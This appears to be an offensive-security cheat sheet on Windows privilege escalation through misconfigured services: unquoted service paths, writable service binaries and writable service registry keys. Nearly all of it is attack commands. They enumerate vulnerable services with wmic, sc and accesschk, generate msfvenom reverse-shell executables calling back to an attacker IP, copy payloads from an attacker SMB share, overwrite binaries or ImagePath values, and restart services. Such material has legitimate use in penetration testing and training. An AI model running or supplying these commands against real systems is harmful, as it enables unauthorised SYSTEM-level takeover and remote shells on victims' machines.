Service Misconfigurations

reference 18 commands

Unquoted Service Paths

Find unquoted paths with spaces (containing spaces without quotes)

wmic service get name,pathname,startname | findstr /i /v "C:\\Windows\\" | findstr /i /v "\""

Or with sc query:

sc qc <SERVICE-NAME>

Example vulnerable path: C:\Program Files\My Service\service.exe

Windows tries these in order:

C:\Program.exe

C:\Program Files\My.exe ← plant here if writable

C:\Program Files\My Service\service.exe

Check each directory in the path for write permission

icacls "C:\Program Files\My Service"

Look for: BUILTIN\Users:(W) or (F) or your username

Generate malicious binary

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR-IP> LPORT=4444 -f exe > My.exe

OR: net user / add cmd:

Make a simple C program that adds admin user, compile or use msfvenom

Upload it to the writable directory

upload My.exe

copy \\<YOUR-IP>\share\My.exe "C:\Program Files\My.exe"

Restart the service

sc stop <SERVICE-NAME>

sc start <SERVICE-NAME>

Or wait for reboot if you can't stop/start it

Weak Service Binary Permissions

Check service binary permissions · look for writeable by non-admin users

AccessChk.exe (Sysinternals):

accesschk.exe /accepteula -ucqv <SERVICE-NAME>

accesschk.exe /accepteula -uwcqv "Authenticated Users" *

accesschk.exe /accepteula -uwcqv "Everyone" *

PowerShell version:

Get-Acl "C:\path\to\service.exe" | Format-List

If binary is writeable:

Replace it with a malicious version

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR-IP> LPORT=4444 -f exe > malicious.exe

copy malicious.exe "C:\path\to\service.exe"

sc stop <SERVICE-NAME>; sc start <SERVICE-NAME>

Writable Service Registry Key

Check service registry key permissions

accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<SERVICE>

Look for: Write

Change the binary path

reg add HKLM\System\CurrentControlSet\Services\<SERVICE> \
  /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\malicious.exe" /f

sc stop <SERVICE>; sc start <SERVICE>